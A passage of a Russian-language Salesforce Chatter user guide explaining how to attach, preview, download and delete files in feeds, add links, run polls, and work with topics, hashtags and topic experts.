В противном случае вложение добавляется вместе с обобщенным обновлением.

5. Чтобыопубликоватьсообщениевсобственныйпрофиль, выберитезначение«Моиотслеживающие»подтекстовым
полем. Чтобы опубликовать сообщение в группу, выберите значение «Группа». Введите часть имени группы в поле
«Поиск групп» и выберите нужную группу из раскрывающегося списка. Разрешается выбирать только группы со
своим участием.

6. Нажмите кнопку «Опубликовать».

СМ. ТАКЖЕ:

Загрузка файлов

Загрузка новой версии файла

Поиск файлов для добавления в ленту Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Последовательно выберите ссылки «Файл» и «Выбратьфайл в Salesforce» в ленте
Chatter, чтобы просмотреть список собственныхфайлов и файлов, доступных в лентах
Chatter и библиотеках Salesforce CRM Content. По умолчаниюна странице отображаются
25 файлов, которыебылипросмотреныпоследними. Выберитенужныйфайлищелкните
расположенную рядом ссылку «Вложить».

Для поиска и просмотра определенной группыфайлов выберите нужныйфильтр на
боковой панели при работе со списком «Выбор файла для добавления».

• All Files—All files you own and have access to, including:

– файлы, доступные для совместного использования;

– отслеживаемые файлы;

– файлы в группах Chatter;

– файлы в библиотеках;
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– файлы, добавленные другими пользователями в ленту Chatter. Сюда относятся файлы, добавленные во все
общедоступные группы, независимо от того, является ли пользователь их участником, а также в личные группы,
участником которых он является, но не в личные группы, участником которых он не является.

Данныйфильтр недоступен пользователям с полномочием «Синхронизация файлов».

• «Недавние»: файлы, просмотренные пользователем последними.

• «МОИФАЙЛЫ»: все собственные, общедоступные и отслеживаемые файлы.

– «Принадлежащие мне»: файлы, которые...

• загружены на вкладку «Начальная страница» илистраницу «Файлы». Данные файлы являются личными и
недоступными для других пользователей, поэтому могут просматриваться, изменяться, публиковаться и
добавляться в ленты Chatter;

• добавлены в ленты Chatter с компьютера пользователя;

• синхронизированы посредством папки Salesforce Files Sync;

• загружены в личные и общедоступные библиотеки Salesforce CRM Content со своим участием.

– «Используемые совместно со мной»: все файлы, доступ к которым предоставлен в частном порядке или путем
публикации в профиль пользователя.

– «Отслеживаемые»: все файлы, отслеживаемые текущим пользователем.

• «ФАЙЛЫВМОИХГРУППАХ»: все файлы, опубликованные текущим и другими пользователями в группы со
своим участием. Отображаются последние пять просмотренных групп.

• «ФАЙЛЫВМОИХБИБЛИОТЕКАХ»: всефайлы, загруженныетекущимидругимипользователямивбиблиотеки
со своим участием, и всефайлы, загруженные в личнуюбиблиотеку. Отображаются первые пять библиотек со своим
участием, включая личную библиотеку. Если текущий пользователь является участником большего количества
библиотек, то для просмотра полного списка следует нажать «Дополнительно».

• «Синхронизированные»: все файлы, синхронизированные в папке Salesforce Files Sync. Данныйфильтр доступен
только пользователям с полномочием «Синхронизация файлов».

Прим.:

• Список содержит только файлы из тех библиотек, участником которых является пользователь и для которых в
определенииполномочийбиблиотеки установленфлажок «Опубликовать содержимое в лентах Chatter»

или «Управление библиотекой».

• Приналичии полномочия «Синхронизацияфайлов» пользователям не отображаютсяфильтры «Всефайлы»,
«МОИФАЙЛЫ»и«ФАЙЛЫВМОИХГРУППАХ». Приотсутствииполномочия «Синхронизацияфайлов»
пользователям не отображается фильтр «Синхронизированные».

Чтобы воспользоваться полем поиска, выполните указанные ниже действия.

1. Чтобы ограничить область поиска определенным набором файлов, выберите нужныйфильтр на боковой панели.

2. Введите критерии поиска в поле поиска. Поиск может выполняться по имени, описанию, ответственному и типу
файла, а также по тексту, доступному в этом файле.

3. Чтобы просмотреть отфильтрованный список файлов, соответствующих указанным критериям поиска, нажмите
кнопку «Поиск». Чтобы очистить критерии поиска, щелкните значок .

Элементы ниже не входят в список «Выбор файла для добавления».

• Документы на вкладке «Документы»

• Вложения из связанного списка «Примечания и вложения»

• Ссылки, добавленные в сообщения Chatter
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• Файлы из личной библиотеки

СМ. ТАКЖЕ:

Поиск файлов

Выполнение действий над файлом в ленте Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Ниже перечислены действия, которые могут быть выполнены над файлами в лентах.

• Предварительный просмотр: щелкните миниатюру файла или ссылку
«Дополнительныедействия» > «Предварительныйпросмотр»напротивнужного
файла.

• Загрузить: щелкните ссылку «Дополнительные действия» >  «Загрузить»
напротив нужного файла.

• Загрузить новую версию: щелкните ссылку «Дополнительные действия» >
«Загрузить новую версию» напротив нужного файла.

• Просмотреть страницу сведений о файле: щелкните имя файла или ссылку
«Дополнительныедействия» > «Просмотрсведенийофайле»напротивнужного
файла.

• Отслеживать: щелкните ссылку  «Отслеживать» напротив нужного файла для получения обновлений в ленте
Chatter. Чтобы отменить получение обновлений для отслеживаемого файла, щелкните .

• Опубликовать: щелкнитессылку «Дополнительныедействия» > «Параметрыобщегодоступакфайлу»напротив
нужного файла для предоставления доступа людям, группам или по ссылке.

• Приналичииполномочия «Синхронизацияфайлов» иответственностизафайлщелкните «Синхронизировать»
для синхронизациифайламеждупапкой Salesforce Files Syncна компьютереиChatter. Чтобыотменить синхронизацию
файла, щелкните «Отменить синхронизацию».

To learn who can perform which actions on a file, see Who Can See My File?.

СМ. ТАКЖЕ:

Просмотр сведений о файле

Загрузка новой версии файла

Просмотр областей совместного использования файла

Загрузка и предварительный просмотр файла в ленте Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Файлы, опубликованныевлентахChatter, доступнынетолькодля загрузкиисохранения,
но и для предварительного просмотра в обозревателе.

Загрузка ипредварительныйпросмотрфайлов доступнывнесколькихобластяхChatter.

• На странице «Файлы»: щелкните ссылку  >  «Загрузить» или значок

предварительного просмотра ( ) рядом с нужнымфайлом.

• В любой ленте Chatter: щелкните ссылку «Дополнительные действия» > 
«Загрузить» рядом с нужнымфайлом. Чтобы открыть файл для предварительного
просмотра, щелкните его миниатюру или выберите ссылку «Дополнительные

действия» >  «Предварительный просмотр».
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• В списке «Файлы, принадлежащие...», доступном в профиле, щелкните ссылку  >  «Загрузить» или значок

предварительного просмотра ( ) напротив нужного файла.

• В списке группы «Файлы, используемые совместно с...»: щелкните ссылку  >  «Загрузить» или значок

предварительного просмотра ( ) рядом с нужнымфайлом.

• В связанном списке записи «Примечания и вложения»: чтобы загрузить файл, щелкните ссылку «Загрузить» рядом
с нужным вложением ленты. Чтобы открыть файл для предварительного просмотра, щелкните ссылку
«Предварительный просмотр».

Для предварительного просмотра файла в обозревателе воспользуйтесь средством для расширенного просмотра
документов.Ниже перечислены действия, доступные при использовании средства для расширенного просмотра
документов.

• Чтобы просмотреть страницы документа, щелкните значок следующей ( ), предыдущей ( ), первой ( ) или

последнейстраницы ( ) напанелиинструментовиливоспользуйтесь элементамиконтекстногоменю «Следующая
страница» и «Предыдущая страница».

• Чтобы просмотреть длинный документ, воспользуйтесь полосой прокрутки (вместо параметров «Следующая
страница» и «Предыдущая страница»). Функция непрерывной прокрутки недоступна в файлах PowerPoint.

• Чтобы открыть нужную страницу, введите ее номер и нажмите клавишу Enter.

• Чтобы просмотреть документ по ширине, выберите пункт контекстного меню «Поширине страницы». Чтобы

просмотреть весь документ, выберитепункт «Страницацеликом». Кроме того, значки и доступнынапанели
инструментов.

• Чтобы просмотреть документ в полноэкранном режиме, выберите пункт контекстного меню «Полноэкранный».

Чтобы закрыть полноэкранный режим, выберите пункт «Выход». Кроме того, значки и доступны на панели
инструментов.

• Выберите пункт контекстного меню «Увеличить» или «Уменьшить». Кроме того, значки и доступны на
панели инструментов.

• Чтобы просмотреть отдельные страницы документа, воспользуйтесь клавишами со стрелками. Откройте средство
просмотра документов и нажмите нужную клавишу.

– Клавишасострелкойвправо: переходна следующийслайддокумента PowerPoint; переходна следующуюстраницу
документа PDF, Word или Excel.

– Клавишасострелкойвлево: переходнапредыдущийслайддокумента PowerPoint; переходнапредыдущуюстраницу
документа PDF, Word или Excel.

– Клавиша со стрелкой вверх: переход на следующий слайд документа PowerPoint; прокручивание документа PDF,
Word или Excel вверх.

– Клавиша со стрелкой вниз: переход на предыдущий слайд документа PowerPoint; прокручивание документа PDF,
Word или Excel вниз.

Прим.:

• Некоторые файлы недоступны для предварительного просмотра (например, зашифрованные файлы; файлы,
защищенные паролем; PDF-документы, защищенные от копирования; неизвестные типыфайлов и файлы
размером более 25 Мб). Для этих файлов параметр «Предварительный просмотр» недоступен в лентах и
списковых представлениях. Файлы, просмотр которых невозможен, отмечены в ленте значками групповых
файлов. Некоторыефункции Microsoft Office 2007 отображаютсянекорректноприпредварительномпросмотре.
Еслифайлподдерживаетпредварительныйпросмотр, нопредварительныйпросмотрне существует, обратитесь
к администратору Salesforce, который поможет восстановить предварительный просмотр.
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• При использовании обозревателя Internet Explorer 11 параметр «Предварительный просмотр» открывает
страницу сведений о файле.

СМ. ТАКЖЕ:

Вложения ленты

Удаление файлов и ссылок из ленты Chatter

Удаление файлов и ссылок из ленты Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Способ удаления файлов и ссылок Chatter зависит от того, где они находятся. Чтобы
удалить файл или ссылку из ленты Chatter, необходимо удалить соответствующее
сообщение. Чтобы удалить файл, воспользуйтесь страницей сведений о файле или
страницей сведений о содержимом. Пользователь может удалять только собственные
файлы. Пользователи с полномочием «Изменение всех данных» могут удалять все
комментарии, сообщения, файлы и ссылки.

Удаление файла из ленты Chatter

ЧтобыудалитьфайлизлентыChatter, необходимоудалитьсоответствующеесообщение.
Удаление сообщения, содержащегофайл, инициирует удаление ссылки нафайл, но не
самого файла (файл сохраняется в источнике). Если файл добавлен в сообщение и
недоступен в других областях, то при удалении сообщения также удаляется ссылка на
файл, а сам файл становится личным, однако позже к нему может быть вновь предоставлен общий доступ.

Удаление файла из ленты Chatter в записи

Существует два способа удаления файла из ленты Chatter в записи.

• Файл может быть удален из ленты Chatter путем удаления соответствующего сообщения. В этом случае удаляется не
только сообщение, но и сам файл — из ленты и связанного списка «Примечания и вложения» (из источника файл
не удаляется). Файл, который больше нигде не опубликован, становится личным. Доступ к файлу может быть
предоставлен позже.

• Файлможетбыть удаленизлентыChatterпутемнажатия ссылки «Удал.»рядомснужнымвложениемлентыв связанном
списке «Примечания и вложения». В этом случае файл удаляется из всех лент Chatter, где он был доступен для
совместного использования, а также из связанного списка «Примечания и вложения». Чтобы восстановить файл,
щелкните ссылку «Корзина», выберите нужныйфайл и нажмите кнопку «Восстановить». Если файл добавлен из
ленты Chatter, группы, библиотеки Salesforce CRM Content или персонального компьютера, то удаление файла из
связанного списка «Примечания и вложения» инициирует его удаление из сообщения, но не из источника.

Удаление ссылки из ленты Chatter

Чтобы удалить ссылку из ленты Chatter, необходимо удалить соответствующее сообщение.

Удаление файла со страницы сведений о файле

Чтобы удалитьфайл из всех областей, где он был доступен, щелкните ссылку «Удалить» на странице сведений офайле.
Если доступ к файлу был предоставлен по ссылке, то данная ссылка больше не сможет использоваться для доступа к
файлу.Чтобывосстановитьудаленныйфайл, щелкнитессылку «Корзина»навкладке «Начальнаястраница». Выберите
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файл и нажмите кнопку «Восстановить». При этом файл восстанавливается во всех связанных областях, где он был
доступен для совместного использования.

Удаление файла со страницы сведений о содержимом

Файл, опубликованный в Chatter, также добавляется в Salesforce CRM Content. Чтобы удалитьфайл из Chatter, Salesforce CRM
Contentивсехобластей, гдеонбылдоступендлясовместногоиспользования, щелкнитеимяфайланавкладке «Библиотеки»,
«Содержимое» или «Подписки». Чтобы удалить файл, последовательно выберите «Правка» > «Удалить содержимое»
на странице сведенийо содержимом. Удалениефайла Chatter со страницы сведенийо содержимомприведет к удалению
файла из Salesforce CRM Content и Chatter.Чтобы восстановить удаленное содержимое, установите напротив него галочку
и нажмите кнопку «Восстановить».

СМ. ТАКЖЕ:

Доступность сообщений

Добавление ссылки в сообщение

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Ссылки, добавленные в сообщения, могут быть доступны другим пользователям.

При публикации URL-адреса, поддерживающего мультимедийное содержимое,
отображается предварительный просмотр связанного содержимого. Дополнительную
информацию о поддерживаемых URL-адресах см. в разделе «Сайты, поддерживающие
предварительный просмотр в сообщениях».

1. Щелкните ссылку «Ссылка» вверху ленты.

2. Введите нужный URL-адрес.

3. При необходимости заполните поле «Имя ссылки».

В противном случае имя ссылки, отображаемое при предварительном просмотре,
содержит заголовок или имя, используемое URL-адресом сайта.

4. При необходимости введите сообщение.

В противном случае ссылка добавляется вместе с обобщенным обновлением.

5. Чтобыопубликоватьсообщениевсобственныйпрофиль, выберитезначение«Моиотслеживающие»подтекстовым
полем. Чтобы опубликовать сообщение в группу, выберите значение «Группа». Введите часть имени группы в поле
«Поиск групп» и выберите нужную группу из раскрывающегося списка. Разрешается выбирать только группы со
своим участием.

При публикации сообщения в профиль или запись другого пользователя значения «Мои отслеживающие» и
«Группа» недоступны.

6. Нажмите кнопку «Опубликовать».

СМ. ТАКЖЕ:

Сайты, поддерживающие предварительный просмотр в сообщениях
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Сайты, поддерживающие предварительный просмотр в сообщениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Система Salesforceпредоставляетмультимедийнуюподдержкуразных URL-адресов. При
публикации поддерживаемого URL-адреса сообщение отображает предварительный
просмотр содержимого.

Предварительныепросмотры, осуществляемыенаплатформестороннейобслуживающей
компании Embed.ly, поддерживают миниатюры, описания и видеопроигрыватели для
ссылокна видеоролики. Еслипредварительныйпросмотр ссылкинедоступен, то домен
URL-адресовнеподдерживаетсяилиплатформе Embed.ly неудалосьоткрыть содержимое
для предварительного просмотра.

Компании Embed.ly не предоставляется доступ к содержимому, данным пользователя
или организации. Компании доступны только URL-адреса, добавленные в список
разрешенных доменов. Все URL-запросы передаются посредством прокси-сервера
Salesforce. Компания Embed.ly никогданеполучаетпрямыевызовыотклиентовинеможет
просматривать сведения об авторе URL-запроса.

Предварительные просмотры поддерживаются ссылками на содержимое разных сайтов.

A | B, C, D | E | F | G | H | M, N | O, P | R, S | T | U, V, W

A

amazon.comamazon.co.jpamazon.cnamazon.caallego.com

amazon.deamazon.co.ukamazon.com.mxamazon.com.bramazon.com.au

app.devhv.comamazon.itamazon.inamazon.framazon.es

app.stghv.comapp.hirevue.com

B, C, D

brightcove.combox.combloomberg.combbc.co.ukbbc.com

dailymotion.combusinessinsider.com

E

espn.go.comen.wikipedia.orgengadget.comedition.cnn.comeconomist.com

etsy.com

F

forbes.comflickr.comfinance.yahoo.comfb.comfacebook.com

ft.com
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G

google.com/mapsgoogle.com/financegizmodo.comgawker.com

H

hulu.comhuffingtonpost.comhirevue.com

M, N

npr.comnpr.commoney.cnn.commashable.commarketwatch.com

nytimes.com

O, P

plus.google.comonline.wsj.comon.aol.com

R, S

soundcloud.comslideshare.netscribd.comreuters.comreadwrite.com

stream.ne.jpstreamlike.comstream.co.jp

T

twitter.comtwitpic.comtheverge.comthenextweb.comted.com

U, V, W

twitter.comtwitpic.comtheverge.comthenextweb.comustream.tv

washingtonpost.comvine.comvimeo.comvidyard.comventurebeat.com

youtube.comwired.com

СМ. ТАКЖЕ:

Добавление ссылки в сообщение
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Публикация опроса

Опросы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Опросыпредназначеныдлясборамнений. Чтобыпринятьучастиевопросе, пользователь
должен проголосовать за один из предложенных вариантов, опубликованных в
сообщении ленты.

Опрос — это эффективный способ сбора мнений. Например, пользователь назначен
ответственным за проведение ежегодной встречи торговых представителей и должен
определить оптимальное время ее проведения. Чтобы не рассылать всем сотрудникам
организации сообщения эл. почты, пользователь может создать опрос в группе Chatter,
участники которого должны выбрать одну из предложенных дат.

Опубликованный опрос доступен для участия всем пользователям, имеющим доступ к
ленте или опросу. Именно поэтому, рекомендуем внимательно выбирать целевую
аудиторию опроса. Например, опрос, опубликованный в личную группу, доступен
только ее участникам. Ниже перечислены рекомендации по работе с опросами.

• Созданный опрос может содержать не более 10 вариантов.

• Участник опроса может выбрать только один вариант.

• Опросы проводятся анонимно. Создатель опроса может просмотреть общее количество участников, но не их имена.

• Чтобы просмотреть последние результаты опроса и общее количество участников, щелкните ссылку «Обновить».

• Опрос не может быть опубликован повторно.

• Участники могут выбрать только один вариант. При необходимости они могут переголосовать.

• Вопрос, опубликованный в опросе, может содержать упоминания или хэштеги.

• Темы могут быть добавлены в вопрос из опубликованного опроса.

• Параметры электронных уведомлений, настроенные на странице «Параметры эл. почты Chatter», одинаково
применяются к сообщениям и опросам. Например, пользователь, который получает электронные уведомления о
добавлении новых комментариев к опубликованному сообщению, также получает электронные уведомления о
добавлении новых комментариев к опубликованному опросу.

Прим.: Суммарный результат опроса не всегда составляет 100% ввиду округления текущих процентных значений.
Например, если опрос содержит три варианта, за каждый из которых проголосовало по одному пользователю, то
суммарный результат составляет 99%.

СМ. ТАКЖЕ:

Выбор понравившихся сообщений и комментариев
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Создание опроса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Опрос, опубликованный в ленту, — это эффективный способ сбора мнений.

1. Щелкните ссылку «Опрос» вверху ленты.

2. Введите нужный вопрос в текстовое поле.

Добавьте хэштег или упоминание.

3. Введите не менее двух вариантов.

Чтобы добавить вариант, щелкните ссылку «Добавить варианты». Разрешается
вводить не более 10 вариантов.

4. Выберите целевую аудиторию опроса: отслеживающие или группа.

Еслиопроспубликуетсяв группу, выберитеимянужнойгруппыизраскрывающегося
списка.

5. Чтобы опубликовать опрос, нажмите кнопку «Опубликовать».

СМ. ТАКЖЕ:

Голосование в опросе

Голосование в опросе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

1. Просмотрите сообщение, содержащее опрос, и выберите нужный вариант.

Участник опроса может выбрать только один вариант.

2. Нажмите кнопку «Голосовать».
Приэтомсообщениеотображаеттекущиерезультатыопроса. Чтобыпереголосовать,
щелкните ссылку «Изменить голос» и выберите другой вариант.

Прим.: Суммарный результат опроса не всегда составляет 100% ввиду округления
текущих процентных значений. Например, если опрос содержит три варианта, за
каждый из которых проголосовало по одному пользователю, то суммарный
результат составляет 99%.

СМ. ТАКЖЕ:

Создание опроса
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Категоризация сообщений по темам

Просмотр всех тем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Чтобы просмотреть темы, обсуждаемые пользователями организации, воспользуйтесь
списком тем. Данный список содержит имена всех тем, включая темы, используемые
исключительно в личных группах и записях.

Чтобыпросмотреть список тем, щелкните ссылку «Темы»на левойбоковойпанели
страницы Chatter.

Ниже перечислены действия, доступные в списке тем.

• Чтобы просмотреть страницу сведений о теме, щелкните имя нужной темы.

• ЧтобыпросмотретьобновлениявлентеChatter, щелкнитессылку «Отслеживать».

• Чтобы уточнить область поиска, отфильтруйте список тем.

• Выполните поиск тем по имени.

Совет: Чтобы выполнить поиск по имени и описанию темы, воспользуйтесь
функцией глобального поиска.

Фильтры для сортировки списка тем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Чтобы ограничить список тем избранными или используемыми темами, рекомендуем
сначала отфильтровать темы, а затем применить сортировку по количеству участников
обсуждения или по имени.

Чтобы отфильтровать темы в списке «Темы», выберите нужный критерий в параметре
«Показать».

Все
Все темы, добавленные в сообщения организации.

Мое избранное
Темы, добавленные в избранное.

Используемые темы
Темы, добавленные в сообщения, и темы прокомментированных сообщений.

Чтобы отсортировать отфильтрованные темы, воспользуйтесь столбцами ниже.

Участники данного обсуждения
Сортировка по количеству участников обсуждения. А именно:

• Количество пользователей, добавивших данную тему в обновления

• Количество пользователей, прокомментировавших сообщения с данной темой

Имя
Сортировка по имени темы.
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Просмотр сведений о теме

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления текущих тем
в сообщения и
комментарии:
• «Назначение тем»

Для редактирования имен и
описаний тем:
• «Редактирование тем»

Чтобы просмотреть описание темы и ленту, содержащую обновления для темы от всех
пользователей и общедоступных групп, просмотрите страницу сведений о теме.

Чтобы открыть страницу сведений о теме, щелкните нужную тему или хэштег. Ниже
перечислены действия, доступные на странице сведений о теме.

• Чтобы быстро найти соответствующие сведения, воспользуйтесь поиском по ленте
темы. Чтобы получить дополнительную информацию о теме, а также просмотреть
список людей и общедоступных групп, которые интересуются данной темой,
просмотрите ленту.

• Добавьте сообщениепрямовленту темы. Сообщениебудет автоматическидоступно
отслеживающимпользователям. Принеобходимостидобавьте сообщение в группу
сосвоимучастием. Добавлениесообщениявленту темыинициирует автоматическое
добавление темы в сообщение.

• Просмотрите знатоков темыиподтвердителюдей, считающихся знатоками. Список
«Знатоки» позволяет пользователям скрывать самих себя.

• Чтобы начать отслеживание темы и просматривать обновления темы в ленте,
щелкните ссылку «Отслеживать».

• Измените имя и описание темы. Щелкните значок в верхнем правом углу и
выберите пункт «Редактировать сведения». Разрешается изменять только регистр и
интервал между именами тем.

Прим.: Именаиописаниятем, включаятемы, отображающиесятольковличных
группахизаписях, являютсяобщедоступными. Сообщенияилизаписистемами
и сообщения или записи без тем используют одинаковые параметры
безопасности и конфиденциальности.

• Чтобыпросмотретьдополнительнуюинформациюотеме, воспользуйтесьдоступнымиспискаминаправойбоковой
панели.

Связанные темы
Другие темы, добавленные вместе с текущей темой.

Недавниефайлы
Доступные файлы, опубликованные в ленту темы последними.

Группы обсуждения
Общедоступные группы и группы со своим участием, использовавшие данную тему последними.
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Отслеживание тем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Отслеживание тем позволяет пользователюпросматривать обновления в ленте Chatter.

Чтобы начать отслеживание темы, щелкните ссылку «Отслеживать» в одной из
перечисленных ниже областей.

• Страница сведений о теме

• Список тем

Разрешается отслеживать не более 500 людей, тем и записей. Чтобы просмотреть
количество отслеживаемых элементов, воспользуйтесь списком «Отслеживание» в
профиле.

Чтобы отменить отслеживание темы, щелкните значок напротив ссылки
«Отслеживание». Обновления, публикуемыедля темы, отслеживаниекоторойотменено,
не отображаются в ленте Chatter.

Отключениефункцииотслеживаниялентдлятемблокируетвозможностьотслеживания
новых тем, но не препятствует отслеживанию тем, отслеживаемых ранее. Данные темы учитываются ограничением по
количеству отслеживаемых людей, тем и записей. Чтобы отменить отслеживание темы после отключения функции
отслеживания лент, воспользуйтесь интерфейсом Chatter REST API.

Поиск и подтверждение знатоков темы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Пользователи могут находить и определять экспертов посредством раздела «Знатоки»
страниц тем и вкладки «Общие сведения» страниц профилей.

Страницатемыотображаетпятьлучшихзнатоковданнойтемынаосновеихактивности
и полученного признания. Например, Chatter использует частоту:

• упоминания людей в сообщениях или комментариях к сообщениям, содержащих
тему;

• получения людьми предпочтений по комментариям к сообщениям, содержащим
тему;

• получения людьми подтверждений для темы.

Подтверждения — это верный признак наличия знаний. Другими словами,
пользователь, компетентность которого подтверждается другим пользователем,
автоматически добавляется в список знатоков.

Прим.: Список знатоков составляется и обновляется один раз в день.
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Чтобы изменить подтверждения, выполните указанные ниже действия.

• Чтобыподтвердитькомпетентностьпользователя, щелкнитессылку«Подтвердить»подименемнужногопользователя.
При отсутствии нужного пользователя в разделе «Знатоки» щелкните ссылку «Подтвердить людей» для просмотра
полного списка и поиска других пользователей. (Система не позволяет подтверждать самого себя, пользователей
Chatter Free и клиентов.)

• Чтобы удалить подтверждение пользователя, щелкните значок напротив ссылки «Подтверждено» под именем
нужногопользователя. Пользователь, подтверждениекоторогоудалено, можетостатьсяв списке знатоков, приусловии,
что он подтвержден другими людьми или является активным участником темы.

Чтобы удалить самого себя из списка знатоков, выполните указанные ниже действия.

• Щелкните ссылку «Скрытьменя» под собственнымименем. Данное действие позволяет скрыть собственное имя от
других пользователей. Чтобы восстановить самого себя в списке знатоков, щелкните ссылку «Подтвердить людей»
и выберите «Показать меня» напротив собственного имени.

Чтобы просмотреть все навыки пользователя, выполните указанные ниже действия.

• Откройте вкладку «Общие сведения» на странице профиля пользователя. Чтобы просмотреть страницу сведений о
теме, щелкните имя нужной темы. Чтобы добавить или удалить подтверждения, щелкните значок положительной
оценки.
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Важное замечание: Привключениифункции «НавыкиWork.com» навыкизаменяютпрофильныетемынастраницах
профилей. (Навыки пользователей сообществ Salesforce заменяют темы только в стандартном сообществе.)
Самозаявленные навыки учитываются при вычислении уровней знаний.

СМ. ТАКЖЕ:

Общие сведения о навыках

Добавление тем в сообщения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления текущих тем
в сообщения и
комментарии:
• «Назначение тем»

Для добавления новых тем
в сообщения и
комментарии:
• «Создание тем»

Чтобы систематизировать сообщения или повысить их доступность, рекомендуем
добавить темы. Темы могут быть добавлены в собственные сообщения сразу после
публикации или любые сообщения ленты в любое время.

Прим.: Имена всех тем, включая темы, используемые исключительно в личных
группах или записях, отображаются в списке тем; имена и описания всех тем
доступны для поиска.

1. Щелкните значок в верхнем углу сообщения.

2. Щелкните «Добавить темы» или «Редактировать темы».

3. Начните вводить текст в редакторе тем. По мере ввода выберите одну из
предложенных тем или продолжите ввод для создания собственной уникальной
темы. Чтобы добавить несколько тем, введите темы через запятую.

Запятые и закрывающие квадратные скобки автоматически завершают ввод темы.
Использование других знаков препинания, символов и разделителей в именах тем
разрешено.

Сообщения могут содержать не более 10 тем.

4. По завершении нажмите кнопку «Готово» или клавишу ENTER.

Добавленные темы преобразуются в ссылки на страницы сведений о темах.

СМ. ТАКЖЕ:

Добавление тем с хэштегами в сообщения и комментарии

Добавление темы в избранное
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Добавление тем с хэштегами в сообщения и комментарии

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления текущих тем
в сообщения и
комментарии:
• «Назначение тем»

Для добавления новых тем
в сообщения и
комментарии:
• «Создание тем»

Чтобы систематизировать сообщения и комментарии или повысить их доступность,
рекомендуем использовать темы.

Например, публикуемоеобновлениеоработенадпрезентациейдлякомпании «Опытный
садовник» может быть дополнено темой с хэштегом #Опытный садовник. Чтобы
получить дополнительную информацию о компании «Опытный садовник», а также
просмотреть список людей и групп, участвующих в соответствующих обсуждениях,
щелкните тему.

Чтобы добавить тему с хэштегом, выполните указанные ниже действия.

1. Присозданииобновлениявведитесимвол # инужныйтекст. Померевводавыберите
однуиз предложенных темилинажмите клавишу ENTER для добавленияновой темы,
содержащей не более трех слов.

Запятые и закрывающие квадратные скобки автоматически завершают ввод темы.
Использование других знаков препинания, символов и разделителей в именах тем
разрешено.

2. Нажмите кнопку «Опубликовать».

Тема с хэштегом преобразуется в ссылку на страницу сведений о теме. Тема (без
хэштега) также автоматическидобавляется в сообщение верхнего уровня. Например,
добавлениехэштега#Опытныйсадовник в комментарийксообщениюсотрудника
инициирует добавление темыОпытный садовник в сообщение сотрудника.

Чтобы удалить тему с хэштегом после публикации обновления, полностью удалите
сообщениеиликомментарий. Принеобходимостиудалите темуиз сообщенияверхнего
уровня.

СМ. ТАКЖЕ:

Добавление тем в сообщения
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Удаление тем из сообщений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления тем из
сообщений:
• «Назначение тем»

При необходимости удалите тему из сообщения.

Пользователи могут удалять темы из сообщений ленты, но не могут удалять темы с
хэштегами. Удалениетемнеинициируетихнеобратимогоудаления. Преждечемудалить
темуиз сообщения, определите, кемонабыладобавлена. Обновление, содержащеетемы,
о которых не знает текущийпользователь, может отслеживаться другимпользователем.

1. Щелкните значок в верхнем углу сообщения.

2. Щелкните «Редактировать темы».

3. Щелкните значок напротив нужной темы.

4. Нажмите кнопку «Готово» или клавишу ENTER.

Удаление темы из сообщения инициирует удаление сообщения из ленты темы на
странице сведений о теме, а также из лент всех отслеживающих.

Добавление темы в избранное

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

